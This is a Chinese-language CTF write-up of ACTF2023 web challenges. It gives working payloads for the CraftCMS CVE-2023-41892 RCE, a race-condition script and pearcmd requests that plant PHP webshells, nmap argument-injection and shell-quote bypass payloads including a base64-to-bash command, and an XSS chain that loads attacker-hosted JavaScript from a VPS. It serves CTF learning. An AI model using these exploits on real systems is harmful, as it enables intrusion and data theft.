2023/10/31:ACTF2023复盘记录

https://mp.weixin.qq.com/s?__biz=Mzg4MjcxMTAwMQ==&mid=2247487654&idx=1&sn=d02ba234aa0f3050658c577c8a9c5fd5&chksm=cf53d010f82459066708ccdb963b6ea0c7b434963ecd2754b8f8d6b02ee18373bb9801a27eb1&mpshare=1&scene=23&srcid=10317Rtf6W4ZAv2j8s0X0k6o&sharer_shareinfo=fb58105346e7282087990aab00b71e07&sharer_shareinfo_first=fb58105346e7282087990aab00b71e07#rd

大部分wp来源

craftcms

初见

根据题目描述是RCE

进入页面长这样:

http://www.bmth666.cn/2023/09/26/CVE-2023-41892-CraftCMS%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/

可以找到这个CVE

要使用RCE的话,选择:

1
action=conditions/render&configObject=craft\elements\conditions\ElementCondition&config={"name":"configObject","as ":{"class":"\\GuzzleHttp\\Psr7\\FnStream","__construct()":[{"close":null}],"action=conditions/render&configObject=craft\elements\conditions\ElementCondition&config={"name":"configObject","as ":{"class":"\\GuzzleHttp\\Psr7\\FnStream","__construct()":[{"close":null}],"_fn_close":"phpinfo"}}":"phpinfo"}}

_fn_close赋值,在销毁时会触发 call_user_func 方法,执行传入的命令,但只能一个参数

也可以读取文件:

1
action=conditions/render&configObject=craft\elements\conditions\ElementCondition&config={"name":"configObject","as ":{"class":"\\yii\\rbac\\PhpManager","__construct()":[{"itemFile":"/var/www/html/craft/storage/logs/web-2023-09-26.log"}]}}

但是没办法直接读取日志

Imagick用不了

解决

看到了两种方法

session文件包含

https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x04-sessionupload_progresssession

通俗一点的:

详解利用session进行文件包含_利用session机制,将所有敏感文件都引入事先写好的session文件,只有session文件中-CSDN博客

学长的神奇思路,在此记一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#!/usr/bin/python3
import threading
import requests
from concurrent.futures import ThreadPoolExecutor, wait

target = 'http://61.147.171.105:54766/index.php'
session = requests.session()
flag = 'helloworld'

def upload(e: threading.Event):
files = [
('file', ('load.png', b'a' * 40960, 'image/png')),
]
data = {'PHP_SESSION_UPLOAD_PROGRESS': rf'''<?php file_put_contents('/tmp/success2', '<?=eval($_GET[1])?>'); echo('{flag}'); ?>'''}

while not e.is_set():
requests.post(
target,
data=data,
files=files,
cookies={'PHPSESSID': flag},
)

if __name__ == '__main__':
futures = []
event = threading.Event()
pool = ThreadPoolExecutor(15)
for i in range(15):
futures.append(pool.submit(upload, event))

wait(futures)

上面的脚本会向/tmp/swss_helloworld写入<?php file_put_contents('/tmp/success2', '<?=eval($_GET[1])?>'); echo('{flag}'); ?>,提供文件包含可能

burp爆破,利用条件竞争,不断访问传参

pearcmd

来源于wp

https://y4tacker.github.io/2022/06/19/year/2022/6/关于pearcmd利用总结/

pecl是PHP中用于管理扩展而使用的命令行工具,而pear是pecl依赖的类库。在7.3及以前,pecl/pear是默认安装的;在7.4及以后,需要我们在编译PHP的时候指定--with-pear才会安装。

不过,在Docker任意版本镜像中,pcel/pear都会被默认安装,安装的路径在/usr/local/lib/php

并且php.ini当中 register_argc_argv=On需要开启

第一步:写入/tmp/hello.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /index.php?+config-create+/&/<?=system($_GET['a'])?>+/tmp/hello.php HTTP/1.1
Host: 61.147.171.105:57690
Content-Length: 225
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://61.147.171.105:57690
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://61.147.171.105:57690/index.php?+config-create+/&/%3C?=phpinfo()?%3E+
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: CraftSessionId=0f4f73c886a22cb11f6e1980b0c1a1c5; CRAFT_CSRF_TOKEN=0ab61f9f593ede910d55226ba018126504d915a3bfa474065ee4d2d4680bd596a%3A2%3A%7Bi%3A0%3Bs%3A16%3A%22CRAFT_CSRF_TOKEN%22%3Bi%3A1%3Bs%3A40%3A%22vIF55Ar8Ye6Ezz4oJK47ev5Uv6tibRZ_l8ZUZB-9%22%3B%7D
Connection: close

action=conditions%2Frender&configObject=craft%5Celements%5Cconditions%5CElementCondition&config={"name":"configObject","as ":{"class":"\\yii\\rbac\\PhpManager","__construct()":[{"itemFile":"/usr/local/lib/php/pearcmd.php"}]}}

利用cve读取pearcmd.php文件,使用命令config-create生成文件,将<?=system($_GET['a'])?>写入到文件中

第二步:文件包含

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /index.php?a=cat /flag HTTP/1.1
Host: 61.147.171.105:57690
Content-Length: 209
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://61.147.171.105:57690
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://61.147.171.105:57690/index.php?+config-create+/&/%3C?=phpinfo()?%3E+
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: CraftSessionId=0f4f73c886a22cb11f6e1980b0c1a1c5; CRAFT_CSRF_TOKEN=0ab61f9f593ede910d55226ba018126504d915a3bfa474065ee4d2d4680bd596a%3A2%3A%7Bi%3A0%3Bs%3A16%3A%22CRAFT_CSRF_TOKEN%22%3Bi%3A1%3Bs%3A40%3A%22vIF55Ar8Ye6Ezz4oJK47ev5Uv6tibRZ_l8ZUZB-9%22%3B%7D
Connection: close

action=conditions%2Frender&configObject=craft%5Celements%5Cconditions%5CElementCondition&config={"name":"configObject","as ":{"class":"\\yii\\rbac\\PhpManager","__construct()":[{"itemFile":"/tmp/hello.php"}]}}

再次利用cve,打开刚刚生成的文件,传入命令

MyGO’s Live

看源码

大部分代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
...
const express = require('express');
const { spawn } = require('child_process');
const fs = require('fs');

const app = express();
const port = 3333;
app.use(express.static('public'));
app.get('/', (req, res) => {
fs.readFile(__dirname + '/public/index.html', 'utf8', (err, data) => {
if (err) {
console.error(err);
res.status(500).send('Internal Server Error');
} else {
// Send the HTML content
res.send(data);
}
})
}
);
function escaped(c) {
if (c == ' ')
return '\\ ';
if (c == '$')
return '\\$';
if (c == '`')
return '\\`';
if (c == '"')
return '\\"';
if (c == '\\')
return '\\\\';
if (c == '|')
return '\\|';
if (c == '&')
return '\\&';
if (c == ';')
return '\\;';
if (c == '<')
return '\\<';
if (c == '>')
return '\\>';
if (c == '(')
return '\\(';
if (c == ')')
return '\\)';
if (c == "'")
return '\\\'';
if (c == "\n")
return '\\n';
if (c == "*")
return '\\*';
else
return c;
}
app.get('/checker', (req, res) => {//刚开始进去的页面没什么软用,操作都在/checker
let url = req.query.url;// 接受?url传参

if (url) {
if (url.length > 60) {
res.send("我喜欢你");
return;
}
url = [...url].map(escaped).join("");// 逐一检查字符
console.log(url);

let host;
let port;
if (url.includes(":")) {
const parts = url.split(":");// 检测到冒号分隔
host = parts[0]; // 冒号前的分给host变量
port = parts.slice(1).join(":"); // 冒号后分给port变量
} else {
host = url; // 没有冒号直接赋值
}
let command = "";
// console.log(host);
// console.log(port);

if (port) {
if (isNaN(parseInt(port))) { // port不是int型执行此代码,若没有port则无视
res.send("我喜欢你");
return;
}
command = ["nmap", "-p", port, host].join(" "); // Construct the shell command
} else {
command = ["nmap", "-p", "80", host].join(" ");
} // 将变量拼接到命令中

var fdout = fs.openSync('stdout.log', 'a');
var fderr = fs.openSync('stderr.log', 'a');
nmap = spawn("bash", ["-c", command], {stdio: [0,fdout,fderr] } );
// 打开两个文件流,作为输出
nmap.on('exit', function (code) {
console.log('child process exited with code ' + code.toString());
if (code !== 0) {
let data = fs.readFileSync('stderr.log');
console.error(`Error executing command: ${data}`);
res.send(`Error executing command!!! ${data}`);
} else {
let data = fs.readFileSync('stdout.log');
console.error(`Ok: ${data}`);
res.send(`${data}`);
}// 输出命令执行结果
});
} else {
res.send('No parameter provided.');
}
});
...

注意到没有对-进行转义,可以从此入手

开始入手

有了以上分析,先选择看看nmap文档:https://nmap.org/man/zh/index.html

注意到:

1
2
3
4
5
6
7
...
-iL <inputfilename> (从列表中输入)
从 <inputfilename>中读取目标说明。在命令行输入 一堆主机名显得很笨拙,然而经常需要这样。 例如,您的DHCP服务器可能导出10,000个当前租约的列表,而您希望对它们进行 扫描。如果您不是使用未授权的静态IP来定位主机,或许您想要扫描所有IP地址。 只要生成要扫描的主机的列表,用-iL 把文件名作为选项传给Nmap。列表中的项可以是Nmap在 命令行上接受的任何格式(IP地址,主机名,CIDR,IPv6,或者八位字节范围)。 每一项必须以一个或多个空格,制表符或换行符分开。 如果您希望Nmap从标准输入而不是实际文件读取列表, 您可以用一个连字符(-)作为文件名。
...
-oN <filespec> (标准输出)
要求将标准输出直接写入指定的文件。
...(当然还有别的输出形式)

可以将结果输出到静态目录public下的index.html

flag在哪里&消失的空格

1
2
3
4
5
...
COPY flag /flag

RUN mv /flag /flag-$(head -n 1000 /dev/random | md5sum | head -c 16)
...

总之就是flag文件夹后面有一串数字,但是把*给ban了,不能用正则表达式

可以使用通配符:/flag-????????????????

可以用{}绕过空格过滤

最终结果:?url={-iL,/flag-????????????????,-oN,public/index.html}

Ave Mujica’s Masquerade(MyGO’s Live plus)

看源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
...
const express = require('express');
const { spawn } = require('child_process');
const shellQuote = require('shell-quote');//代替上一题的过滤函数
const fs = require('fs');

const app = express();
const port = 3333;
app.use(express.static('public'));
app.get('/', (req, res) => {
fs.readFile(__dirname + '/public/index.html', 'utf8', (err, data) => {
if (err) {
console.error(err);
res.status(500).send('Internal Server Error');
} else {
// Send the HTML content
res.send(data);
}
})
}
);
app.get('/checker', (req, res) => {
let url = req.query.url;

if (url) {

let host;
let port;

// MakE it Safer!!!!!
if (url.includes(":")) {
const parts = url.split(":");
host = parts[0];
port = parts.slice(1).join(":");
} else {
host = url;
}
if (port) {
command = shellQuote.quote(["nmap", "-p", port, host]); // Construct the shell command
} else {
command = shellQuote.quote(["nmap", "-p", "80", host]);// 进行了过滤
}
nmap = spawn("bash", ["-c", command]);
console.log(command);

nmap.on('exit', function (code) {
console.log('child process exited with code ' + code.toString());
if (code !== 0) {
res.send(`Error executing command!!!`);
} else {
res.send(`Ok...`);
}
});

} else {
res.send('No parameter provided.');
}
});
...

升级版,没了直接输出,过滤的函数改为了shellQuote = require('shell-quote')

看看shellQuote:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
export type ControlOperator = "||" | "&&" | ";;" | "|&" | "<(" | ">>" | ">&" | "&" | ";" | "(" | ")" | "|" | "<" | ">";

export type ParseEntry =
| string
| { op: ControlOperator }
| { op: "glob"; pattern: string }
| { comment: string };

export interface ParseOptions {
/**
* Custom escape character, default value is `\`
*/
escape?: string | undefined;
}

/**
* Return a quoted string for the array `args` suitable for using in shell commands.
*/
export function quote(args: ReadonlyArray<string>): string;

/**
* Return an array of arguments from the quoted string `cmd`.
*
* Interpolate embedded bash-style `$VARNAME` and `${VARNAME}` variables with the `env` object which like bash will replace undefined variables with `""`.
*/
export function parse(
cmd: string,
env?: { readonly [key: string]: string | undefined },
opts?: ParseOptions,
): ParseEntry[];

/**
* Return an array of arguments from the quoted string `cmd`.
*
* Interpolate embedded bash-style `$VARNAME` and `${VARNAME}` variables
* with the `env` object which like bash will replace undefined variables with `""`.
*
* @param env
* A function to perform lookups.
* When env(key) returns a string, its result will be output just like env[key] would.
* When env(key) returns an object, it will be inserted into the result array like the operator objects.
*/
export function parse<T extends object | string>(
cmd: string,
env: (key: string) => T | undefined,
opts?: ParseOptions,
): Array<ParseEntry | T>;

百度得知用于避免命令注入,怎么下手呢?

尝试入手

https://wh0.github.io/2021/10/28/shell-quote-rce-exploiting.html

有个cve可以利用,简而言之就是可以利用反引号和冒号绕过

比如:

1
2
3
`:`something``:#
会变成
`:\`something\``:\#

学长的writeup

1
http://124.70.33.170:24001/checker?url=90:`:`bash$IFS-c$IFS{echo,Y3AgL2ZsYWcqIC9hcHAvcHVibGljL2xpYW9mbGFn}|{base64,-d}|{bash,-i}``:`

使用$IFS{}绕过了空格过滤,将需要的内容cp /flag* /app/public/liaoflag进行base64编码绕过

感觉有点问题,插眼

easy latex

https://gudiffany.github.io/2023/11/01/17-29-04/

有bot,是xss

1
2
3
4
5
6
7
8
9
...
const page = await ctx.newPage();
await page.setCookie({
name: 'flag',
value: FLAG,
domain: `${APP_HOST}:${APP_PORT}`,
httpOnly: true
})
...

有httponly,只有在与服务器的 HTTP 请求中,浏览器会自动发送该 cookie才能访问,太坏了

浏览一下页面

一个平平无奇的框,可以输东西

可以预览输了啥,需要登录才能submit

弹了个窗口

源码

1
2
3
4
5
6
7
8
9
10
11
12
app.post('/login', (req, res) => {
let { username, password } = req.body

if (md5(username) != password) {
res.render('login', { msg: 'login failed' })
return
}

let token = sign({ username, isVip: false })//生成了个jwt
res.cookie('token', token)
res.redirect('/')
})

app.js中的登录页面

1
2
3
4
5
...
<div class="mt-4">
<latex-js id="tex" baseURL="<%= base %>"><%= tex %></latex-js>
</div>
...

预览界面,submit后有个弹窗:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
...
app.get('/preview', (req, res) => {
let { tex, theme } = req.query
if (!tex) {
tex = 'Today is \\today.'
}
const nonce = getNonce(16)
let base = 'https://cdn.jsdelivr.net/npm/latex.js/dist/'
if (theme) {
base = new URL(theme, `http://${req.headers.host}/theme/`) + '/'
}// 注意到base可控
res.render('preview.html', { tex, nonce, base })
})
...

注意到有些页面需要vip身份,只能到vip页面获得:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
app.post('/vip', auth, async (req, res) => {
let username = req.session.username
let { code } = req.body
let vip_url = VIP_URL
let data = await (await fetch(new URL(username, vip_url), {
method: 'POST',
headers: {
Cookie: Object.entries(req.cookies).map(([k, v]) => `${k}=${v}`).join('; ')
},
body: new URLSearchParams({ code })
})).text()
if ('ok' == data) {
res.cookie('token', sign({ username, isVip: true }))
res.send('Congratulation! You are VIP now.')
} else {
res.send(data)
}
})

直接进入发现失败,转到app.py查看vip:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
...
@app.post('/<username>')
def check(username):
token = request.cookies.get('token')
if not token:
return "unauthorized access?"
code = request.form.get('code')
if not code:
return "no invitation code specified"
if check_invitation_code(username, code):
return 'ok'
return 'invalid invitation code'


@app.get('/new')
def new_code():
code = new_invitation_code()
invitation_codes.append(code)
print('new invitation code:', code)
return "done"
...

需要生成code

重新观察vip界面,发现利用点:

1
2
3
4
5
6
7
let data = await (await fetch(new URL(username, vip_url), {//存在可利用点username
method: 'POST',
headers: {
Cookie: Object.entries(req.cookies).map(([k, v]) => `${k}=${v}`).join('; ')
},
body: new URLSearchParams({ code })//code=req.body,username可控
})).text()

开始着手

注意到a重定向,值与URL构造时第一个值相同,而此代码第一个值为username,可控

1
2
3
4
5
6
7
8
9
10
from flask import Flask, request

app = Flask(__name__)

@app.route('/', methods = ['POST'])
def return_ok():
return 'ok'


app.run(host='0.0.0.0',port=10086)

起一个服务,把它的ip作为用户名登录,再用POST访问vip界面就能发现成为了vip

回到preview页面,注意到另一个传参点theme,可以以theme=//...url/的形式传递vps地址

注意到访问了该域名下的base.js

回到app.js,注意到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
...
app.get('/share/:id', reportLimiter, async (req, res) => {
const { id } = req.params
if (!id) {
res.send('no note id specified')
return
}
const url = `http://localhost:${PORT}/note/${id}`
try {
await visit(url)//注意这个函数
res.send('done')
} catch (e) {
console.log(e)
res.send('something error')
}
})
...

跟踪visit()函数,来到bot.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
...
const visit = async (url) => {
...
try{
const page = await ctx.newPage();
await page.setCookie({
name: 'flag',
value: FLAG,
domain: `${APP_HOST}:${APP_PORT}`,
httpOnly: true
})
await page.goto(url, {timeout: 5000})
await sleep(3000)
await page.close()
}catch(e){
console.log(e);
}
...
}
...

最终解决

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
GET /share/%2e%2e%2f%70%72%65%76%69%65%77%3f%74%65%78%3d%31%31%31%26%74%68%65%6d%65%3d%2f%2f%34%33%2e%31%33%39%2e%31%35%34%2e%32%31%39%3a%31%30%30%38%37%2f%61 HTTP/1.1
Host: 127.0.0.1:3000
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: token=eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imh0dHA6Ly80My4xMzkuMTU0LjIxOToxMDA4NiIsImlzVmlwIjp0cnVlLCJpYXQiOjE2OTg4MzAwNTN9.IGd1UPmSK0uoFJEC7WnbIH1mNqsxWX-pTOGDR8fuza7gb7j7Uuec0QJyqhsmEIS2UDIZCJyuKOIPnO6UZzYLK6plRcMRRaEGsIukcOYdI6gasZzomJK1Q5y4iWYM3PNgXSUfb-ck-P_CmG8lUKqXYIlujLXsEaHMT3lH2U7f4mP_6y_wZtg9H9rDzW7s2dhZ5hx4gJZKgMDAwgfl9UlE04CGgepkWPP40LryG4CKIADwmVbh5cVLw-Sn3W3-f53_tVCqAkIpQyDUtdEizZal4rYULlvpoll1hNkPoyATcggK3GoADKYIp7SRdPPxC3XqiO0usOrma4mupA7z7s82GA
sec-ch-ua: "Chromium";v="118", "Google Chrome";v="118", "Not=A?Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
sec-fetch-site: none
sec-fetch-mode: navigate
sec-fetch-user: ?1
sec-fetch-dest: document
Connection: close


这个请求包通过/share/../preview?..的形式访问刚才存在xss的界面,该界面会加载vps下的base.js,

此时只需在vps上挂载base.js:

1
2
3
4
5
6
document.cookie += 'token=eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imh0dHA6Ly80My4xMzkuMTU0LjIxOToxMDA4NiIsImlzVmlwIjp0cnVlLCJpYXQiOjE2OTg4MzAwNTN9.IGd1UPmSK0uoFJEC7WnbIH1mNqsxWX-pTOGDR8fuza7gb7j7Uuec0QJyqhsmEIS2UDIZCJyuKOIPnO6UZzYLK6plRcMRRaEGsIukcOYdI6gasZzomJK1Q5y4iWYM3PNgXSUfb-ck-P_CmG8lUKqXYIlujLXsEaHMT3lH2U7f4mP_6y_wZtg9H9rDzW7s2dhZ5hx4gJZKgMDAwgfl9UlE04CGgepkWPP40LryG4CKIADwmVbh5cVLw-Sn3W3-f53_tVCqAkIpQyDUtdEizZal4rYULlvpoll1hNkPoyATcggK3GoADKYIp7SRdPPxC3XqiO0usOrma4mupA7z7s82GA'

var xhr = new XMLHttpRequest();

xhr.open("POST", '/vip', true);
xhr.send('code=1');

这样访问share界面时就会访问base.js,发出携带cookie的请求